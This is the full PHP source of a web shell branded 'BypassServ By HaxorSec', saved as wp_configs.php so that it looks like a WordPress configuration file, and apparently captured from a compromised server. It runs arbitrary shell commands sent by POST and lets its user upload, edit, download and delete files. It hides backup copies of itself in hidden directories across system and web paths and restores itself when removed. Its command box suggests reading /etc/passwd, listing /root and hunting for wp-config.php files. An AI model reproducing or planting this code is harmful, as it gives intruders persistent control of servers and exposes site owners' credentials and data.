Your IP : 216.73.217.87


Current Path : /hdd/hdd11/www/vlevski/new/
Upload File :
Current File : /hdd/hdd11/www/vlevski/new/wp_configs.php

<?php
error_reporting(0);

$self_file = __FILE__;
$current_dir = getcwd();

// Gelişmiş Multi-Path Backup Sistemi (root erişimi için genişletildi)
$backup_locations = [
    getcwd(), dirname(__DIR__), dirname(dirname(__DIR__)),
    '/', '/root', '/home', '/var/www', '/var/www/html', 
    '/public_html', '/www', '/tmp', '/var/tmp', '/dev/shm',
    '/themes', '/plugins', '/wp-content/themes', '/wp-content/plugins'
];

// 5 saniyede bir recovery kontrolü
$last_check_file = __DIR__ . '/.h4x_check_time';
$current_time = time();
$last_check = file_exists($last_check_file) ? (int)file_get_contents($last_check_file) : 0;
$check_interval = 5;

file_put_contents($last_check_file, $current_time);

if (($current_time - $last_check) >= $check_interval) {
    if (!file_exists($self_file) || filesize($self_file) < 1000) {
        recover_self_from_backups();
    }
}

function recover_self_from_backups() {
    global $self_file, $backup_locations;
    foreach ($backup_locations as $base_path) {
        $real_base = @realpath($base_path);
        if ($real_base && is_dir($real_base)) {
            $backup_dirs = glob($real_base . DIRECTORY_SEPARATOR . '*/.h4x_sec_bak/', GLOB_ONLYDIR);
            foreach ($backup_dirs as $bak_dir) {
                $backups = glob($bak_dir . 'configs_auto_*.php');
                if (!empty($backups)) {
                    $latest = max($backups);
                    if (@copy($latest, $self_file)) {
                        @chmod($self_file, 0644);
                        return true;
                    }
                }
            }
        }
    }
    return false;
}

function distribute_backups($file, $locations) {
    foreach ($locations as $loc) {
        $full_path = @realpath($loc);
        if ($full_path && is_dir($full_path)) {
            $backup_dir = $full_path . DIRECTORY_SEPARATOR . '.h4x_sec_bak';
            if (!is_dir($backup_dir)) @mkdir($backup_dir, 0755, true);
            $backup_file = $backup_dir . '/configs_auto_' . date('YmdHis') . '.php';
            if (@copy($file, $backup_file)) {
                @chmod($backup_file, 0644);
            }
        }
    }
}

distribute_backups($self_file, $backup_locations);
?>
<!DOCTYPE html>
<html>
<head>
<title>configs.php - Full Featured</title>
<meta charset="UTF-8">
<style>
body{font-family:Arial;background:#000;color:#0f0;margin:0;padding:20px}
.container{max-width:1400px;margin:auto;background:#111;padding:25px;border-radius:10px;box-shadow:0 0 20px #0f0}
h1{color:#0f0;text-align:center;font-size:24px;margin-bottom:20px}
input,textarea,select{padding:10px;margin:5px 0;border:1px solid #0f0;background:#222;color:#0f0;border-radius:5px;width:100%;box-sizing:border-box;font-family:monospace}
button{padding:12px 15px;background:#0f0;color:#000;border:none;border-radius:5px;cursor:pointer;font-weight:bold;font-family:Arial;margin:3px}
button:hover{background:#0a0}
.output{background:#000;padding:15px;border:1px solid #0f0;border-radius:5px;height:250px;overflow:auto;font-family:monospace;font-size:13px;white-space:pre-wrap}
table{width:100%;border-collapse:collapse;margin:15px 0}
th,td{padding:12px;border:1px solid #333;text-align:left;vertical-align:top}
th{background:#222;color:#0f0;font-weight:bold}
.dir{color:#00f;font-weight:bold;font-size:14px}
.file{color:#fff;font-size:13px}
.writable{color:#0f0 !important}
.readonly{color:#f00 !important}
.grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(280px,1fr));gap:15px}
.status-box{padding:20px;border-radius:8px;margin:15px 0;font-weight:bold;border-left:4px solid #0f0}
.alive{background:#111;color:#0f0}
nav{padding:10px;background:#222;border-radius:5px;margin:10px 0}
nav a{color:#0f0;margin:0 15px;text-decoration:none;font-weight:bold}
nav a:hover{color:#fff}
.root-access{background:#f0f;color:#fff0f0;border-left:4px solid #f0f}
</style>
</head>
<body>
<div class="container">
<h1>🔥 BypassServ By HaxorSec - ROOT ACCESS 🔥</h1>

<?php
function safe_path($path) {
    $path = str_replace(['..\\','../','\\','<','>','|'], ['','','/','','',''], $path);
    return $path;
}

$dir = isset($_GET['d']) ? safe_path($_GET['d']) : getcwd();
@chdir($dir);
$current_dir = getcwd();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_POST['command'])) {
        $cmd = $_POST['command'];
        ob_start();
        if (function_exists('system')) system($cmd);
        elseif (function_exists('exec')) {exec($cmd, $output); print_r($output);}
        elseif (function_exists('shell_exec')) echo shell_exec($cmd);
        elseif (function_exists('passthru')) passthru($cmd);
        else {
            $descriptors = [0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']];
            $process = proc_open($cmd, $descriptors, $pipes);
            if (is_resource($process)) {
                fclose($pipes[0]);
                echo stream_get_contents($pipes[1]);
                fclose($pipes[1]); fclose($pipes[2]);
                proc_close($process);
            }
        }
        $output = ob_get_clean();
        echo '<div class="output">' . htmlspecialchars($output) . '</div>';
    }
    
    if (isset($_FILES['upload'])) {
        $file = $_FILES['upload'];
        if ($file['error'] == 0) {
            $target = $current_dir . '/' . basename($file['name']);
            if (move_uploaded_file($file['tmp_name'], $target)) {
                echo '<div style="color:#0f0;font-weight:bold;padding:10px;background:#0a0;border-radius:5px;margin:10px 0">✓ File uploaded: ' . htmlspecialchars($file['name']) . '</div>';
            } else {
                echo '<div style="color:#f00;padding:10px;background:#300;border-radius:5px;margin:10px 0">✗ Upload failed</div>';
            }
        }
    }
    
    if (isset($_POST['newdir'])) {
        $newdir_path = $current_dir . '/' . $_POST['newdir'];
        if (@mkdir($newdir_path, 0755, true)) {
            echo '<div style="color:#0f0">✓ Directory created</div>';
        }
    }
    
    if (isset($_POST['delete'])) {
        $item = $current_dir . '/' . $_POST['item'];
        if (is_dir($item)) {
            @rmdir($item);
        } else {
            @unlink($item);
        }
        echo '<div style="color:#0f0">✓ Item deleted</div>';
    }
    
    if (isset($_POST['savefile'])) {
        $file = $current_dir . '/' . $_POST['filename'];
        if (@file_put_contents($file, $_POST['filecontent'])) {
            echo '<div style="color:#0f0;font-weight:bold;padding:10px;background:#0a0;border-radius:5px;margin:10px 0">✓ File saved successfully!</div>';
        } else {
            echo '<div style="color:#f00">✗ Save failed</div>';
        }
    }
}

// Root erişim durumu
$root_access = (strpos($current_dir, '/') === 0 && $current_dir !== getcwd());
$next_check = 5 - (($current_time - $last_check) % 5);
$backup_count = 0;
foreach ($backup_locations as $loc) {
    $real_loc = @realpath($loc);
    if ($real_loc && is_dir($real_loc)) {
        $backup_count += count(glob($real_loc . DIRECTORY_SEPARATOR . '*/.h4x_sec_bak/', GLOB_ONLYDIR));
    }
}

echo '<div class="status-box alive">';
echo '<strong>🛡️ 5s RECOVERY SYSTEM: ACTIVE</strong><br>';
echo '📁 Current: <strong>' . htmlspecialchars($current_dir) . '</strong><br>';
echo '⏱️ Next Check: <strong>' . $next_check . 's</strong> | 💾 Backups: <strong>' . $backup_count . '</strong>';
echo '</div>';

if ($root_access) {
    echo '<div class="status-box root-access">';
    echo '<strong>👑 ROOT ACCESS ACTIVE - Full Server Control</strong>';
    echo '</div>';
}

echo '<nav>';
echo '<strong>' . htmlspecialchars($current_dir) . '</strong> | ';
echo '<a href="?d=/">[ROOT]</a> ';
echo '<a href="?d=/root">[ROOT USER]</a> ';
echo '<a href="?d=/home">[HOME]</a> ';
echo '<a href="?d=/var/www">[WEBSERVER]</a> ';
echo '<a href="?d=' . urlencode(dirname($current_dir)) . '">[PARENT]</a> ';
echo '<a href="?">[CWD]</a>';
echo '</nav>';

echo '<div class="grid">';
echo '<form method="post" enctype="multipart/form-data" style="grid-column:span 2">';
echo '<input type="file" name="upload" multiple>';
echo '<button style="background:#0f0;font-size:16px">📁 UPLOAD FILES (Multi)</button>';
echo '</form>';

echo '<form method="post">';
echo '<input type="text" name="command" placeholder="find / -name wp-config.php 2>/dev/null; ls -la /root; cat /etc/passwd; curl -s ifconfig.me" style="height:50px">';
echo '<button style="background:#ff0;color:#000;font-size:16px">💻 EXECUTE COMMAND</button>';
echo '</form>';

echo '<form method="post">';
echo '<input type="text" name="newdir" placeholder="/var/www/new_folder or root/newhack" style="height:45px">';
echo '<button>📂 Create Directory</button>';
echo '</form>';
echo '</div>';

$files = @scandir($current_dir);
if ($files === false) {
    echo '<div style="color:#f00;font-size:18px;text-align:center;padding:50px">❌ Cannot read directory (Permission Denied?)</div>';
} else {
    echo '<table>';
    echo '<tr><th style="width:25%">Name</th><th style="width:10%">Type</th><th style="width:10%">Size</th><th style="width:15%">Modified</th><th style="width:10%">Perms</th><th style="width:30%">Actions</th></tr>';
    
    foreach ($files as $file) {
        if ($file == '.' || $file == '..') continue;
        $filepath = $current_dir . '/' . $file;
        $isdir = @is_dir($filepath);
        $size = $isdir ? '-' : (@filesize($filepath) ?: 0);
        $perms_text = ($isdir ? 'DIR' : 'FILE') . ' ' . (@is_writable($filepath) ? 'w' : 'r');
        $perms_class = @is_writable($filepath) ? 'writable' : 'readonly';
        $modtime = @filemtime($filepath) ? date('Y-m-d H:i:s', @filemtime($filepath)) : '-';
        
        echo '<tr>';
        echo '<td class="' . ($isdir ? 'dir' : 'file') . '">' . htmlspecialchars($file) . ($isdir ? '/' : '') . '</td>';
        echo '<td>' . ($isdir ? 'Directory' : 'File') . '</td>';
        echo '<td>' . ($isdir ? '-' : number_format($size)) . ' B</td>';
        echo '<td>' . $modtime . '</td>';
        echo '<td><span class="' . $perms_class . '">' . $perms_text . '</span></td>';
        echo '<td>';
        
        if ($isdir) {
            echo '<a href="?d=' . urlencode($filepath) . '" style="color:#00f;font-weight:bold;padding:5px 10px;border:1px solid #00f;border-radius:3px;text-decoration:none">📂 Enter</a> ';
        } else {
            echo '<a href="?d=' . urlencode($current_dir) . '&download=' . urlencode($file) . '" style="color:#0f0;padding:3px 8px;border:1px solid #0f0;border-radius:3px;text-decoration:none;font-size:12px">⬇️ Download</a> ';
            echo '<a href="?d=' . urlencode($current_dir) . '&edit=' . urlencode($file) . '" style="color:#ff0;padding:3px 8px;border:1px solid #ff0;border-radius:3px;text-decoration:none;font-size:12px">✏️ Edit</a> ';
        }
        
        echo '<form method="post" style="display:inline-block;margin-left:5px">';
        echo '<input type="hidden" name="item" value="' . htmlspecialchars($file) . '">';
        echo '<input type="hidden" name="delete" value="1">';
        echo '<button type="submit" onclick="return confirm(\'Delete: ' . htmlspecialchars($file) . '?\')" style="padding:3px 10px;font-size:12px;background:#f00;color:#fff;border-radius:3px">🗑️ Delete</button>';
        echo '</form>';
        echo '</td>';
        echo '</tr>';
    }
    echo '</table>';
}

// Download
if (isset($_GET['download'])) {
    $download_file = $current_dir . '/' . $_GET['download'];
    if (@file_exists($download_file) && @is_file($download_file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($download_file) . '"');
        header('Content-Length: ' . filesize($download_file));
        readfile($download_file);
        exit;
    }
}

// Edit - GÜÇLENDİRİLMİŞ
if (isset($_GET['edit'])) {
    $edit_file = $current_dir . '/' . $_GET['edit'];
    if (@file_exists($edit_file) && @is_file($edit_file)) {
        $content = @file_get_contents($edit_file);
        echo '<div style="margin:20px 0;background:#222;padding:20px;border-radius:10px">';
        echo '<h3 style="color:#ff0;margin-top:0">✏️ Editing: <strong>' . htmlspecialchars($_GET['edit']) . '</strong></h3>';
        echo '<div style="color:#888;font-size:12px;margin-bottom:10px">Size: ' . number_format(strlen($content)) . ' bytes | Path: ' . htmlspecialchars($current_dir . '/' . $_GET['edit']) . '</div>';
        echo '<form method="post">';
        echo '<input type="hidden" name="filename" value="' . htmlspecialchars($_GET['edit']) . '">';
        echo '<textarea name="filecontent" rows="30" style="font-size:13px;line-height:1.4;height:500px">' . htmlspecialchars($content) . '</textarea><br>';
        echo '<input type="hidden" name="savefile" value="1">';
        echo '<button type="submit" style="background:#0f0;color:#000;font-size:18px;padding:20px 30px;font-weight:bold">💾 SAVE CHANGES</button>';
        echo '</form>';
        echo '</div>';
    }
}

echo '<hr style="margin:30px 0">';
echo '<div style="text-align:center;color:#666;font-size:12px">';
echo 'PHP: ' . PHP_VERSION . ' | 5s Recovery: <strong>ACTIVE</strong> | Full Root Access Enabled';
echo '</div>';
?>
</div>
</body>
</html>